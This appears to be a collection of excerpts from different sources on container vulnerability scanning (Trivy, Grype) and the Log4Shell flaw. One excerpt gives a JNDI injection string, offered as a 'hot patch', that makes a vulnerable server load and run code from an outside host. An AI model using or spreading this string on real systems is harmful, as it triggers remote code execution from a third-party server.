Introduction to the Kubernetes ecosystem
Trivy Operator : A simple and comprehensive vulnerability scanner for containers and other artifacts. It detects vulnerabilities of OS packages (Alpine, Debian, CentOS, etc.) and application dependencies (pip, npm, yarn, composer, etc.) (Alternatives : Grype, Snyk, Clair, Anchore, Twistlock)

Scanning and remediating vulnerabilities with Grype
In the lab to follow, we'll see how vulnerability scanning can be conveniently achieved with Grype and how various systematic techniques can be applied to start securing our microservices at the container image level.

Understanding Container Security
Scanning your container images for vulnerabilities is a good approach. But this scanning is not one time job, it should be done regularly (weekly, monthly, etc.) You need to follow vulnerability reports and fix all of the vulnerabilities as soon as possible. I recommend some open-source tools that could be useful: Trivy, Docker-Bench, Grype.

Analysis of the 2nd Log4j CVE published earlier (CVE-2021-45046 / Log4Shell2)
We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell.
${jndi:ldap://hotpatch.log4shell.com:1389/a}
If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly.
Source code is on GitHub here[0][1] if you want to host it yourself.
(This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.)

Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide
The two examples showcase the potential of the RCE. The JNDI endpoint answers with a serialized java class:
a) https://github.com/Cybereason/Logout4Shell where a class is self-healing the log4j vulnerability by reconfiguring it
b) https://twitter.com/marcioalm/status/1470361495405875200 where the payload is opening an application (calculator) on the host system
